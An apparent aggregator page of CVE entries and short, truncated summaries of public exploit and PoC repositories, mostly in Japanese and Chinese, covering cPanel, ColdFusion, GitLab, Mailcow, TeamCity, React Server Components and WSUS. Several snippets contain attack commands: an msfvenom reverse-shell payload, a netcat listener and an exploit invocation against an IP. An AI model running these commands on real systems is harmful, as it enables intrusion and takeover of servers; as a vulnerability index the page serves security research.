CVE-2026-65643

cPanel & WHM versions prior to 11.138.0.2 (and older branches 11.110, 11.134, 11.136) contain an eval injection in the domain parking and addon domain functionality. An authenticated user with permission to add parked or addon domains can create arbitrary files on the server, escalating to code e...

EUVD-2026-68922

Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...

CVE-2026-65643

Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...

CVE-2025-22953

CVE-2025-22953 – Epicor HCM 認証不要のBlind SQL Injection 【更新 – Epicorによるパッチリリース】 Epicorはこの脆弱性に対処するパッチを正式にリリースしました。影響を受けるすべてのユーザーは、すぐにアップデートを適用することを強くお勧めします。 🔗 Epicor Security Patch Announcement 概要 認証不要の Blind SQL Injection 脆弱性が Epicor HCM ソフトウェア、バージョン 2021 1.9...

CVE-2021-32099

CVE-2021-32099 PoC このリポジトリは、Pandora FMS 742 に影響を与える CVE-2021-32099 の脆弱性に対する Proof of Concept PoC エクスプロイトを提供します。このエクスプロイトは、認証されていない攻撃者がSQLインジェクションの脆弱性を悪用して、非特権セッションを管理者レベルのアカウントに昇格させる方法を示しています。管理者アクセスを取得すると、攻撃者はPandora FMSのファイルマネージャーを介して任意のPHPファイルをアップロードでき、リモートコード実行につながり、Webサーバーユーザーとしてサーバーを侵害します。 ...

spring-break_cve-2017-8046

spring-breakcve-2017-8046 Este es un programa Java que explota la vulnerabilidad Spring Break CVE-2017-8046. Este software está escrito para tener la menor cantidad de dependencias externas posible. AVISO LEGAL Esta herramienta está destinada a ingenieros de seguridad y profesionales de appsec pa...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 これは、CVE-2022-2884 として知られる GitLab の認証済み RCE 脆弱性を悪用する Python3 プログラムです。 免責事項 このツールは、セキュリティエンジニアおよびアプリケーションセキュリティ（AppSec）担当者がセキュリティ評価を行うことを目的としています。このツールは責任を持って使用してください。本アプリケーションの使用方法については一切責任を負いません。このツールを使用して引き起こされた損害や犯された犯罪についても、一切責任を負いません。 脆弱性情報 CVE-ID : CVE-2022-2884 リンク :...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 上的远程代码执行 有时，脚本在第一次尝试时不会生效。多试几次即可 如何执行 使用 msfvenom 创建载荷 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java 启动 server.py 该服务器将在使用 cve.2023-26360.py 完成初始访问后，将载荷发送到 Coldfusion 服务器，因此需要先启动它。 root@kitploit: python3 server.py 8000 参数...

CVE-2024-47533

CVE-2024-47533 - Cobbler XMLRPC 認証バイパス RCE エクスプロイト Cobbler における認証バイパスによる重大なリモートコード実行 PoC 実装。 概要 Cobbler（ネットワークインストール環境の迅速なセットアップを可能にする Linux インストールサーバー）には、バージョン 3.0.0 から 3.2.3 および 3.3.7 より前のバージョン（3.2.3 および 3.3.7 を含まない）に認証の脆弱性があります。関数 utils.getsharedsecret は常に -1 を返すため、誰でも空のユーザー名 '' とパスワード -1 で...

CVE-2025-25257

CVE-2025-25257 watchtowr および GitHub で見つけた他の研究者によって公開された CVE-2025-25257 のエクスプロイトは、公式ベンダーサイトからダウンロードした私の fortiweb 環境では動作しませんでした。これらのエクスプロイトコードの一部を流用して、自分の環境でリバースシェルを起動できる PoC を作成しました。リバースシェルの IP アドレスとポートはハードコードされているため、もちろん変更する必要があります。 エクスプロイトの解析とウォークスルーは、私の YouTube チャンネルの 2...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。 報告および修正: 2022-05 パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: コマンドインジェクション, RCE 重要度: 3/3 タイプ: コマンドインジェクション, RCE,...

Mailcow-CVE-2022-31138

Mailcow CVE-2022-31138 Mailcow の RCE および Domain Admin 権限昇格。この脆弱性で動作するように CVE-2022-31245 の POC を変更することができます。 報告および修正: 2022-06 コードインジェクション、RCE タイプ: コードインジェクション CWE-94、RCE、ドメイン乗っ取り 影響を受けるバージョン: 2019 - 2022-06a 最近のすべての Mailcow バージョンには、システムの一般ユーザーが「Sync Job」機能を悪用して、imapsync の任意の正規表現フィールドへの perl...

CVE-2021-3130

CVE-2021-3129 CVE-2021-3129 のもう一つのエクスプロイト！より多くの機能と信頼性を備えるために作られました。https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 に基づいています 免責事項: このスクリプトは、システムのセキュリティを監査するために作成されました。このスクリプトは、ご自身のシステム、または明示的な許可を得たシステムに対してのみ使用してください。...

CVE-2025-55182_PoC-Test-Server

CVE-2025-55182PoC-Test-Server CVE-2025-55182 React RCE テストサーバー...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | XWikiプラットフォームにおけるリモートコード実行の脆弱性（概念実証）...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity 認証バイパス & RCE PoC 著者: EynaExp 対象範囲: 研究 / 防御的検証 / 許可されたテストのみ 概要 このリポジトリは、CVE-2024-27198 の影響を受ける JetBrains TeamCity インスタンスを対象とした 概念実証の大量スキャナー です。この脆弱性は認証バイパスにより、完全な管理者権限の奪取とリモートコード実行 RCE につながる可能性があります。 このツールは、脆弱な TeamCity サーバーを検出...

CVE-2025-55182

CVE-2025-55182 RCE 個人用チェックツールです。CVE-2025-55182の脆弱性をチェックするために使用します。 脆弱性の原理 React Server Components は、サーバー関数エンドポイントに送信されたペイロードをデコードする際に、パス解決の欠陥が存在します。コロンでオブジェクトのプロパティを区切ることでネストした値の取得を実現します（例: $1🅰️b は "a":"b":"foo".a.b に対応）が、プロパティの存在性の検証は行われません。$1🅰️a が渡されると、.a.a の無効な値の取得がトリガーされ、サーバー側で 500...

cve-2025-59287

CVE-2025-59287 - WSUS 利用工具包 作者：adel-h4x0a ⚠️ 仅限教育和授权测试用途 ⚠️ 概述 本工具包演示了 CVE-2025-59287 的利用过程，这是 Windows Server Update Services WSUS 中的一个远程代码执行漏洞。 组件 1. 加密模块 cve-2025-59287-encr.py · 用于 WSUS 通信的 AES 载荷加密 · 支持传统和安全两种加密模式 · 自定义载荷生成 2. 利用模块 cve-2025-59287-exp.py · CVE-2025-59287 的完整利用链 · 健壮的错误处理和重试逻辑 ·...

CVE-2025-55182-Scanner

CVE-2025-55182 RCE Scanner CVE-2025-55182 React2Shell リモートコード実行脆弱性の一括検出・検証ツール。 ⚠️ CVSS 10.0 重大脆弱性 | React Server Components および Next.js 15.x/16.x に影響 | 許可されたセキュリティテストのみに使用 脆弱性の概要 CVE-2025-55182（別名 "React2Shell"）は CVSS 10.0 満点の重大レベルの 認証不要のリモートコード実行 RCE 脆弱性です。 この脆弱性は、React Server Components RSC の...